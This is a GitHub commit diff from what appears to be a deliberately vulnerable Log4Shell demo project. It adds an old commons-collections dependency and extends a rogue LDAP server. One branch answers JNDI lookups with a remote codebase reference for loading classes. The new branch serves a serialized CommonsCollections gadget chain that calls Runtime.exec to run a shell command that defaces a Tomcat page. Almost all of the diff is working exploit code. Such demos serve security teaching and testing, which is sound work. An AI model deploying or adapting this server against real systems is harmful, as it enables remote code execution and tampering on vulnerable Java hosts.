Skip to content

Commit 4625d86

Browse files
committed
add secondary command to LDAP server. This creates an attack based deserialization of the commons collection library. This RCE works on all Java versions
1 parent 4e4ca88 commit 4625d86

File tree

2 files changed

+89
-26
lines changed

2 files changed

+89
-26
lines changed

log4shell-goof/log4shell-server/pom.xml

Lines changed: 33 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
<groupId>io.snyk</groupId>
66
<artifactId>log4shell-server</artifactId>
77
<version>0.0.1-SNAPSHOT</version>
8+
<packaging>jar</packaging>
89

910
<name>Java Goof :: Log4Shell Goof :: Log4Shell Server</name>
1011
<url>https://snyk.io</url>
@@ -31,21 +32,42 @@
3132
<artifactId>undertow-core</artifactId>
3233
<version>2.2.13.Final</version>
3334
</dependency>
35+
<dependency>
36+
<groupId>commons-collections</groupId>
37+
<artifactId>commons-collections</artifactId>
38+
<version>3.1</version>
39+
</dependency>
40+
<dependency>
41+
<groupId>org.apache.commons</groupId>
42+
<artifactId>commons-lang3</artifactId>
43+
<version>3.11</version>
44+
</dependency>
3445
</dependencies>
3546
<build>
3647
<plugins>
3748
<plugin>
49+
<groupId>org.apache.maven.plugins</groupId>
3850
<artifactId>maven-assembly-plugin</artifactId>
39-
<configuration>
40-
<archive>
41-
<manifest>
42-
<mainClass>Server</mainClass>
43-
</manifest>
44-
</archive>
45-
<descriptorRefs>
46-
<descriptorRef>jar-with-dependencies</descriptorRef>
47-
</descriptorRefs>
48-
</configuration>
51+
<executions>
52+
<execution>
53+
<phase>package</phase>
54+
<goals>
55+
<goal>single</goal>
56+
</goals>
57+
<configuration>
58+
<archive>
59+
<manifest>
60+
<mainClass>
61+
Server
62+
</mainClass>
63+
</manifest>
64+
</archive>
65+
<descriptorRefs>
66+
<descriptorRef>jar-with-dependencies</descriptorRef>
67+
</descriptorRefs>
68+
</configuration>
69+
</execution>
70+
</executions>
4971
</plugin>
5072
<plugin>
5173
<groupId>org.codehaus.mojo</groupId>
@@ -57,5 +79,6 @@
5779
</configuration>
5880
</plugin>
5981
</plugins>
82+
6083
</build>
6184
</project>

log4shell-goof/log4shell-server/src/main/java/Server.java

Lines changed: 56 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -7,8 +7,17 @@
77
import com.unboundid.ldap.sdk.LDAPException;
88
import com.unboundid.ldap.sdk.LDAPResult;
99
import com.unboundid.ldap.sdk.ResultCode;
10+
11+
import org.apache.commons.collections.Transformer;
12+
import org.apache.commons.collections.functors.ChainedTransformer;
13+
import org.apache.commons.collections.functors.ConstantTransformer;
14+
import org.apache.commons.collections.functors.InvokerTransformer;
15+
import org.apache.commons.collections.keyvalue.TiedMapEntry;
16+
import org.apache.commons.collections.map.LazyMap;
17+
1018
import io.undertow.Undertow;
1119
import io.undertow.util.Headers;
20+
import org.apache.commons.lang3.SerializationUtils;
1221

1322
import javax.net.ServerSocketFactory;
1423
import javax.net.SocketFactory;
@@ -21,6 +30,8 @@
2130
import java.net.URL;
2231
import java.net.UnknownHostException;
2332
import java.nio.ByteBuffer;
33+
import java.util.HashMap;
34+
import java.util.Map;
2435

2536
public class Server {
2637
private static final String LDAP_BASE = "dc=example,dc=com" ;
@@ -100,7 +111,6 @@ public OperationInterceptor(URL cb) {
100111
public void processSearchResult(InMemoryInterceptedSearchResult result) {
101112
String base = result.getRequest().getBaseDN();
102113
Entry entry = new Entry(base);
103-
104114
try {
105115
sendResult(result, base, entry);
106116
} catch (LDAPException | MalformedURLException e) {
@@ -111,21 +121,51 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) {
111121
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
112122
throws LDAPException, MalformedURLException
113123
{
114-
URL turl = new URL(
115-
this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")
116-
);
117-
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
118-
e.addAttribute("javaClassName", "foo");
119-
String cbstring = this.codebase.toString();
120-
int refPos = cbstring.indexOf('#');
121-
if (refPos > 0) {
122-
cbstring = cbstring.substring(0, refPos);
123-
}
124-
e.addAttribute("javaCodeBase", cbstring);
125-
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
126-
e.addAttribute("javaFactory", this.codebase.getRef());
127-
result.sendSearchEntry(e);
128-
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
124+
System.out.println("Base = " + base);
125+
if (base.equals("Commons")) {
126+
//deserialization attack chain in commons collections
127+
System.out.println("Send LDAP reference result for " + base + " containing a deserialized chain");
128+
129+
String[] command = {
130+
"/bin/sh",
131+
"-c",
132+
"echo '<center><h1>Nice container you have, I think I will move in!</h1></center>' >> /usr/local/tomcat/webapps/todolist/WEB-INF/views/common/header.jspf"};
133+
134+
final Transformer[] transformers = new Transformer[] {
135+
new ConstantTransformer(Runtime.class),
136+
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
137+
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
138+
new InvokerTransformer("exec", new Class[] { String[].class }, new Object[] {command})
139+
};
140+
final Transformer transformerChain = new ChainedTransformer(transformers);
141+
142+
final Map innerMap = new HashMap();
143+
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
144+
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
145+
146+
e.addAttribute("javaClassName", "foo");
147+
e.addAttribute("javaSerializedData", SerializationUtils.serialize(entry));
148+
e.addAttribute("objectClass", "javaNamingReference");
149+
150+
result.sendSearchEntry(e);
151+
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
152+
} else {
153+
URL turl = new URL(
154+
this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")
155+
);
156+
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
157+
e.addAttribute("javaClassName", "foo");
158+
String cbstring = this.codebase.toString();
159+
int refPos = cbstring.indexOf('#');
160+
if (refPos > 0) {
161+
cbstring = cbstring.substring(0, refPos);
162+
}
163+
e.addAttribute("javaCodeBase", cbstring);
164+
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
165+
e.addAttribute("javaFactory", this.codebase.getRef());
166+
result.sendSearchEntry(e);
167+
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
168+
}
129169
}
130170
}
131171
}

0 commit comments

Comments
 (0)